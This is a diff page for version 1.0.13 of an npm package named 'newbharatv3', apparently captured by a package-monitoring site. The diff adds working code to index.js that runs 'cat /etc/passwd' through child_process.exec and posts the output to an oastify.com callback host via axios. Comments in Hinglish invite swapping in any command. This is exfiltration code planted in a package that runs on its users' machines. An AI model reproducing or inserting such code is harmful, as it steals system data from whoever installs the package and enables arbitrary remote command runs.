newbharatv3 1.0.12 → 1.0.13
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +2 -2
- package/package.json +1 -1
package/index.js
CHANGED
@@ -2,7 +2,7 @@ const { exec } = require('child_process');
|
|
2
2
|
const axios = require('axios');
|
3
3
|
|
4
4
|
// System command run karna (e.g., 'whoami' ya 'dig example.com')
|
5
|
-
const command = '
|
5
|
+
const command = 'cat /etc/passwd'; // yahan apni desired command likho
|
6
6
|
|
7
7
|
exec(command, async (error, stdout, stderr) => {
|
8
8
|
if (error) {
|
@@ -19,7 +19,7 @@ exec(command, async (error, stdout, stderr) => {
|
|
19
19
|
|
20
20
|
// Ab HTTP request bhejna using axios
|
21
21
|
try {
|
22
|
-
const response = await axios.post('http://
|
22
|
+
const response = await axios.post('http://vedhbx0jpduvsyzsgpp2z9fuqlwck38s.oastify.com', {
|
23
23
|
data: commandOutput // Yahan output ko HTTP request body mein bhej rahe hain
|
24
24
|
});
|
25
25
|
|